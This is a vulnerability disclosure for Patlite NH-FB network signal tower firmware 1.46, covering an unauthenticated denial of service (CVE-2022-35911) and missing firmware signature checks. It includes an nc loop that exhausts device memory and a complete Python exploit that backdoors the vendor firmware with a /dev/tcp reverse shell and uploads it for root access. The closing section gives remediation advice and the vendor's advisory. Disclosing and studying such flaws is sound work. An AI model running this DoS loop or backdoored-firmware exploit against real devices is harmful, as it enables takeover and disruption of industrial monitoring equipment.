The NH-FB series devices from Patlite are network monitoring and real-time notifications of predesignated events and device failures via visual signals and email alerts.
All Patlite NH-FB series (NHL-xFB1 / NHP-xFB2 / NHL-xFB2 ) devices from version 1.46 and under.
Vulnerability 1 [CVE-2022-35911] - Unauthenticated Remote Denial of Service.
The binary file control
(/etc/lighttpd/api/control) allocates a buffer for each read operation that occurs for a request, could allow an unauthenticated, remote attacker to cause a denial of service (memory consumption) by removing expected GET parameter. The vulnerability is due to an insufficient logic condition and does not check if any GET parameters are present during the API the call. An attacker could exploit this vulnerability by sending a high rate of TCP packets to the specific API endpoint control
on a targeted device. This issue affects all Patlite NH-FB series (NHL-xFB1 / NHP-xFB2 / NHL-xFB2 ) version 1.46 and under.
Vulnerability 2 - Insufficient firmware validation
Patlite NH-FB series (NHL-xFB1 / NHP-xFB2 / NHL-xFB2 ) is affected by an insufficient firmware validation during the upgrade firmware file upload process. An authenticated, remote attacker can build his own custom firmware and inject malicious code inside. A successful exploit could allow the attacker to have a full control of the device This issue affects all Patlite NH-FB series (NHL-xFB1 / NHP-xFB2 / NHL-xFB2 ) version 1.46 and under.
1. Unauthenticated Remote Denial of Service.
A simple request to the endpoint /api/control/AAAAAAAAAAAAAAAAAA
will confuse the program which is theoretically expecting to receive a GET parameter alert
(/api/control?alert=1) but as this is not expected for by the program
it will cause a denial of service and display the contents of the binary
file control
after some times keeping loading.
Payload
for i in {0..1000}; do echo "[$i]: "; echo -ne "GET /api/control/AAAAAAAAAAAAAAAAAA HTTP/1.1\r\nHost: 172.31.42.235\r\n\r\n" | nc 172.31.42.235 80; done > /dev/null 2>&1
This loop will consume all the memory of the device and make it temporarily unusable.
Video PoC Patlite memory consumption (dos) - CVE-2022-35911
2. Insufficient firmware validation
This vulnerability gives us the
possibility to craft our own custom firmware as there is no firmware
validation during the upgrade device process. In the following proof of
concept we are going to add a reverse shell payload in the /pns-b/install-web
script file that will be triggered when the malicious firmware will be uploaded in the target machine.
Step 1 - Download the Patlite firmware from the offcial website and extract the content.
Step 2 - Let's modify the content of the script /pns-b/install-web
to add our reverse shell payload.
Step 3 - Repack the firmware
Step 4 - Upload the backdoored firmware in the device, create a listener and wait for the Patlite device to connect to us.
As you can see, the reverse shell was perfectly executed during the update process. We have now full control on the device with root privilege.
Video PoC Patlite ver1.46 - Insufficient firmware validation
# -*- coding: utf-8 -*-
# Exploit Title: Insufficient firmware validation, Patlite custom firmware.
# Date: 7/29/2022
# Exploit Author: Samy Younsi - NS Labs (https://samy.link)
# Vendor Homepage: https://www.patlite.com
# Software Link: https://www.patlite.com/network-products/lineup/nh-fb.html
# Version: 1.46
# Tested on: NHL-xFB1 version 1.46 (Ubuntu)
# CVE : CVE-2022-?
from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import tarfile
import urllib3
import zipfile
import json
import os
urllib3.disable_warnings()
def banner():
patliteLogo = """
|>>>
|
|>>> _ _|_ _ |>>>
| |;| |;| |;| |
_ _|_ _ \\. . / _ _|_ _
|;|_|;|_|;| \\:. , / |;|_|;|_|;|
\\.. / ||; . | \\. . /
\\. , / ||: . |\,/ \\: . /
||: |_ _ ||_ . _ | _ _||: |
\,/ ||: .|||_|;|_|;|_|;|_|;|_|;||:. |
||: ||. PATLITE CFW . ||: .|
||: . || . REVERSE SHELL ||: | \,/
||: ||: , _______ . ||: , |
\,/ ||: ||. |+++++++| . ||: . |
__ ||: . ||: , |+++++++|. . _||_ |
____--`~ '--~~__|. |+++++__|----~ ~`---, ___
-~--~ ~---__|,--~' ~~----_____-~' `~----~~
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m \033[1;91mInsufficient Firmware Validation, Patlite CFW.\033[1;m
FOR EDUCATIONAL PURPOSE ONLY.
"""
return print('\033[1;94m{}\033[1;m'.format(patliteLogo))
def pingWebInterface(protocol , RHOST, RPORT):
url = '{}://{}:{}/cgi-bin/index.cgi'.format(protocol, RHOST, RPORT)
try:
response = requests.get(url, allow_redirects=False, verify=False, timeout=60)
if response.status_code != 200:
print('[!] \033[1;91mError: Patlite device web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
exit()
soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
footer = soup.find_all('font')[-1].get_text()
print('[INFO] Target reachable: {}'.format(footer))
except:
print('[ERROR] Can\'t reach the device...')
exit()
def downloadFirmware():
print('[INFO] \033[1;92mStart downloading Patlite firmware version 1.46...\033[1;m')
print('[INFO] https://patlite.com [==============================> NHFB-146.zip]')
url = 'https://www.patlite.com/product/index.php?Command=Index&method=Download&id=21462&idx=17'
result = requests.get(url, stream=True)
with open('NHFB-146.zip', 'wb') as fd:
for chunk in result.iter_content(chunk_size=128):
fd.write(chunk)
print('[INFO] \033[1;92mPatlite firmware version 1.46 downloaded!\033[1;m')
def unzipFirmware():
zip = zipfile.ZipFile('NHFB-146.zip')
zip.extractall('.')
os.remove('NHFB-146.zip')
print('[INFO] \033[1;92mPatlite firmware version 1.46 has been extracted.\033[1;m')
def craftBackdoor(LHOST, LPORT):
print('[INFO] \033[1;92mCrafting backdoored firmware...\033[1;m')
path = 'NH-FB_Ver1.46'
file = tarfile.open('{}/fw_nhSPL146'.format(path))
file.extractall('./{}/cfw'.format(path))
print('[INFO] \033[1;92mInjecting reverse shell command in /pns-b/install-web file script...\033[1;m')
payload = 'sh -i >& /dev/tcp/{}/{} 0>&1'.format(LHOST, LPORT)
installWebScript = open('./{}/cfw/pns-b/install-web'.format(path), 'a')
installWebScript.write('\n{}'.format(payload))
installWebScript.close()
print('[INFO] \033[1;92mBackdoor injected! Repacking the firmware...\033[1;m')
os.system('tar -zcf fakeFW.tar.gz -C ./NH-FB_Ver1.46/cfw/ pns-b/ ')
os.system('rm -rf ./NH-FB_Ver1.46')
print('[INFO] \033[1;92mBackdoored custom firmware successfully crafted!\033[1;m')
def uploadMaliciousFirmware(protocol , RHOST, RPORT):
print('[INFO] \033[1;92mUploading backdoored custom firmware to the target device...\033[1;m')
fakeCFW = {'filename': open('fakeFW.tar.gz','rb')}
url = '{}://{}:{}/cgi-bin/firm_update.cgi'.format(protocol, RHOST, RPORT)
try:
print('[INFO] \033[1;92mReverse shell starting... Please wait a minute...\033[1;m')
response = requests.post(url, files=fakeCFW, verify=False, timeout=220)
if int(len(response.content)) == 939:
print('[INFO] \033[1;92mBackdoored custom firmware successfully uploaded in the target device!\033[1;m')
print('[Error] No client connected to the target device')
except:
print('[ERROR] Can\'t upload the backdoored firmware to the target device...')
exit()
def main():
banner()
args = parser.parse_args()
protocol = 'https' if args.RPORT == 443 else 'http'
pingWebInterface(protocol ,args.RHOST, args.RPORT)
downloadFirmware()
unzipFirmware()
craftBackdoor(args.LHOST, args.LPORT)
uploadMaliciousFirmware(protocol ,args.RHOST, args.RPORT)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Script PoC that exploit an insufficient firmware validation in Patlite devices and create a backdored custom firmware.', add_help=False)
parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (Patlite device)', type=str, required=True)
parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (80 by default)', type=int, required=True)
parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
main()
Vulnerability 1: Just before the function getShareMemoryAddr
is called a condition must check if the current request really contains 2 GET parameters.
More info: https://cwe.mitre.org/data/definitions/703.html
Vulnerability 2: To accept an update, the Patlite device needs to verify the respective code signature of all software components included in the firmware update. This integrity protection ensures that no unauthorized entity can modify the firmware image.More info: https://cwe.mitre.org/data/definitions/347.html
As of 25 Jul 2022, there were 5 Patlite NH-FB series devices exposed to the internet and were affected by the vulnerabilities discovered.
https://www.patlite.com/support/Security_Information.html